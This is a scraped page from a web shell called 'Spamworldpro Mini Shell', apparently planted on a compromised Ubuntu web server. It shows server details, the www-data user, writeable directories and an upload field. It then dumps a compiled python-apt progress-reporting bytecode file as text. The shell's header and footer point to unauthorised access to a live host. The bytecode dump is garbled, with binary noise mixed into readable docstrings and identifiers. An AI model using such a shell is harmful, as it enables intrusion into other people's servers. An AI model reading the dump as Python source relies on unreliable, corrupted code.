Spamworldpro Mini Shell
Spamworldpro


Server : Apache/2.4.52 (Ubuntu)
System : Linux webserver 6.8.0-49-generic #49~22.04.1-Ubuntu SMP PREEMPT_DYNAMIC Wed Nov 6 17:42:15 UTC 2 x86_64
User : www-data ( 33)
PHP Version : 8.1.2-1ubuntu2.21
Disable Function : NONE
Directory :  /lib/python3/dist-packages/apt/progress/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //lib/python3/dist-packages/apt/progress/__pycache__/base.cpython-310.pyc
o

4��fW1�@s�dZddlmZddlZddlZddlZddlZddlZddlZddl	Z	ddl
mZmZddl
Z
gd�ZGdd�de�ZGdd	�d	e�ZGd
d�de�ZGdd
�d
e�ZdS)z�Base classes for progress reporting.

Custom progress classes should inherit from these classes. They can also be
used as dummy progress classes which simply do nothing.
�)�print_functionN)�Optional�Union)�AcquireProgress�
CdromProgress�InstallProgress�
OpProgressc@speZdZdZdZZZZZdZ	Z
Zdd�Zdd�Z
dd	�Zd
d�Zdd
�Zdd�Zdd�Zdd�ZdS)rz�Monitor object for downloads controlled by the Acquire class.

    This is an mostly abstract class. You should subclass it and implement the
    methods to get something useful.
    �rcC�dS)z<Invoked when an item is successfully and completely fetched.N���self�itemrr�3/usr/lib/python3/dist-packages/apt/progress/base.py�done5�zAcquireProgress.donecCr
)z*Invoked when an item could not be fetched.Nrrrrr�fail9rzAcquireProgress.failcCr
)z0Invoked when some of the item's data is fetched.Nrrrrr�fetch=rzAcquireProgress.fetchcCr
)z�Invoked when an item is confirmed to be up-to-date.

        Invoked when an item is confirmed to be up-to-date. For instance,
        when an HTTP download is informed that the file on the server was
        not modified.
        Nrrrrr�ims_hitArzAcquireProgress.ims_hitcCr
)a�Prompt the user to change the inserted removable media.

        The parameter 'media' decribes the name of the media type that
        should be changed, whereas the parameter 'drive' should be the
        identifying name of the drive whose media should be changed.

        This method should not return until the user has confirmed to the user
        interface that the media change is complete. It must return True if
        the user confirms the media change, or False to cancel it.
        Fr)r
�media�driverrr�media_changeJszAcquireProgress.media_changecCr
)aPeriodically invoked while the Acquire process is underway.

        This method gets invoked while the Acquire progress given by the
        parameter 'owner' is underway. It should display information about
        the current state.

        This function returns a boolean value indicating whether the
        acquisition should be continued (True) or cancelled (False).
        Tr)r
�ownerrrr�pulseXszAcquireProgress.pulsecCs4d|_d|_d|_d|_d|_d|_d|_d|_dS)z0Invoked when the Acquire process starts running.r	rN)�
current_bytes�current_cps�
current_items�elapsed_time�
fetched_bytes�
last_bytes�total_bytes�total_items�r
rrr�startes
zAcquireProgress.startcCr
)z/Invoked when the Acquire process stops running.Nrr"rrr�stoprrzAcquireProgress.stopN)�__name__�
__module__�__qualname__�__doc__rrrrr rrr!rrrrrrr#r$rrrrr*s�	

rc@s,eZdZdZdZdd�Zdd�Zdd�Zd	S)
ra
Base class for reporting the progress of adding a cdrom.

    Can be used with apt_pkg.Cdrom to produce an utility like apt-cdrom. The
    attribute 'total_steps' defines the total number of steps and can be used
    in update() to display the current progress.
    rcCr
)z�Ask for the name of the cdrom.

        If a name has been provided, return it. Otherwise, return None to
        cancel the operation.
        Nrr"rrr�ask_cdrom_name�rzCdromProgress.ask_cdrom_namecCr
)z�Ask for the CD-ROM to be changed.

        Return True once the cdrom has been changed or False to cancel the
        operation.
        Nrr"rrr�change_cdrom�rzCdromProgress.change_cdromcCr
)z�Periodically invoked to update the interface.

        The string 'text' defines the text which should be displayed. The
        integer 'current' defines the number of completed steps.
        Nr)r
�text�currentrrr�update�rzCdromProgress.updateN)r%r&r'r(�total_stepsr)r*r-rrrrrwsrc@s�eZdZdZd\ZZZZdd�Zdd�Z	dd�Z
d	d
�Zdd�Zd
d�Z
dd�Zdd�Zdd�Zdd�Zdd�Zdd�Zdd�Zdd�ZdS) rz4Class to report the progress of installing packages.)rr	g�������?�cCsHt��\|_|_t�|jd�|_t�|jd�|_t�|jtjtj	�dS)N�w�r)
�os�pipe�statusfd�writefd�fdopen�write_stream�
status_stream�fcntl�F_SETFL�
O_NONBLOCKr"rrr�__init__�szInstallProgress.__init__cCr
)z(Abstract) Start update.Nrr"rrr�start_update�rzInstallProgress.start_updatecCr
)z+(Abstract) Called when update has finished.Nrr"rrr�
finish_update�rzInstallProgress.finish_updatecCs|S�Nrr"rrr�	__enter__�szInstallProgress.__enter__cCs|j��|j��dSr?)r7�closer8)r
�type�value�	tracebackrrr�__exit__�s
zInstallProgress.__exit__cCr
)z>(Abstract) Called when a error is detected during the install.Nr)r
�pkg�errormsgrrr�error�rzInstallProgress.errorcCr
)zA(Abstract) Called when a conffile question from dpkg is detected.Nr)r
r,�newrrr�conffile�rzInstallProgress.conffilecCr
)z.(Abstract) Called when the APT status changed.Nr)r
rF�percent�statusrrr�
status_change�rzInstallProgress.status_changecCr
)z/(Abstract) Called when the dpkg status changed.Nr)r
rFrLrrr�dpkg_status_change�rz"InstallProgress.dpkg_status_changecCr
)z�(Abstract) Sent just before a processing stage starts.

        The parameter 'stage' is one of "upgrade", "install"
        (both sent before unpacking), "configure", "trigproc", "remove",
        "purge". This method is used for dpkg only.
        Nr)r
rF�stagerrr�
processing�rzInstallProgress.processingcCs�|��}|dkrfz	t�|jd�Wn	tyYnwz
t�|�|j����Wn=tyEt�t�	tj
dddt|j���d|��Yn!tye}zt
j�d|�t�tjj�WYd}~nd}~ww||_|��}t�|�S)a�Install using the object 'obj'.

        This functions runs install actions. The parameter 'obj' may either
        be a PackageManager object in which case its do_install() method is
        called or the path to a deb file.

        If the object is a PackageManager, the functions returns the result
        of calling its do_install() method. Otherwise, the function returns
        the exit status of dpkg. In both cases, 0 means that there were no
        problems.
        rT�dpkgz--status-fdz-iz%s
N)�forkr2�set_inheritabler5�AttributeError�_exit�
do_installr7�fileno�spawnlp�P_WAIT�str�	Exception�sys�stderr�write�apt_pkg�PackageManager�
RESULT_FAILED�	child_pid�
wait_child�WEXITSTATUS)r
�obj�pid�e�resrrr�run�s,
�
���
zInstallProgress.runcCst��S)zFork.)r2rRr"rrrrR�szInstallProgress.forkc	
Csz|j��}Wn$ty+}z|jtjkr |jtjkr t|j�WYd}~dSd}~wwd}}}}}|�d�rRz|�	dd�\}}}}WnFt
yQYdSw|�d�rvz|�	dd�\}}}}Wn*t
yu|�	dd�\}}}Ynw|�d�r�|�	dd�\}}}|�|��|���|��}|��}|��}|d	ks�|d
kr�|�
||�dS|dks�|dkr�t�d
|�}|r�|�|�d�|�d��dSdS|dkr�t|�|jks�||jkr�|�|t|�|���t|�|_|��|_dSdS|dkr�|�||�dSdS)zUpdate the interface.Nr/�pm�:�rL�rP�pmerrorrHzconffile-prompt�
pmconffilez\s*'(.*)'\s*'(.*)'.*��pmstatus)r8�readline�IOError�errno�EAGAIN�EWOULDBLOCK�print�strerror�
startswith�split�
ValueErrorrP�striprH�re�matchrJ�group�floatrKrLrMrN)	r
�line�err�pkgnamerL�
status_strrK�baser~rrr�update_interface�sV
��
�
�
�
��z InstallProgress.update_interfacec
Cs�d\}}	z
t�|jggg|j�Wntjy0}z|j\}}|tjkr&�WYd}~nd}~ww|��zt�	|j
tj�\}}||j
krHW|SWn&tyo}z|jtj
kr^WYd}~|S|jtjkre�WYd}~nd}~wwq)aWait for child progress to exit.

        This method is responsible for calling update_interface() from time to
        time. It exits once the child has exited. The return values is the
        full status returned from os.waitpid() (not only the return code).
        )rrTN)�selectr8�select_timeoutrH�argsrt�EINTRr�r2�waitpidrb�WNOHANG�OSError�ECHILD)r
rfrhrH�errno_�_errstrr�rrrrc/s<�

���
�
�����zInstallProgress.wait_childN)r%r&r'r(rbrKr�rLr<r=r>r@rErHrJrMrNrPrirRr�rcrrrrr�s"	)0rc@s.eZdZdZd\ZZZZddd�Zdd�Z	dS)	rzbMonitor objects for operations.

    Display the progress of operations such as opening the cache.)Fr/r	r/NcCs|dur	||_dSdS)z�Called periodically to update the user interface.

        You may use the optional argument 'percent' to set the attribute
        'percent' in this call.
        N)rK)r
rKrrrr-Vs
�zOpProgress.updatecCr
)z,Called once an operation has been completed.Nrr"rrrr`rzOpProgress.doner?)
r%r&r'r(�major_change�oprK�subopr-rrrrrrOs


r)r(�
__future__rrtr9�ior2r}r�r\�typingrrr_�__all__�objectrrrrrrrr�<module>s"M#6

Spamworldpro Mini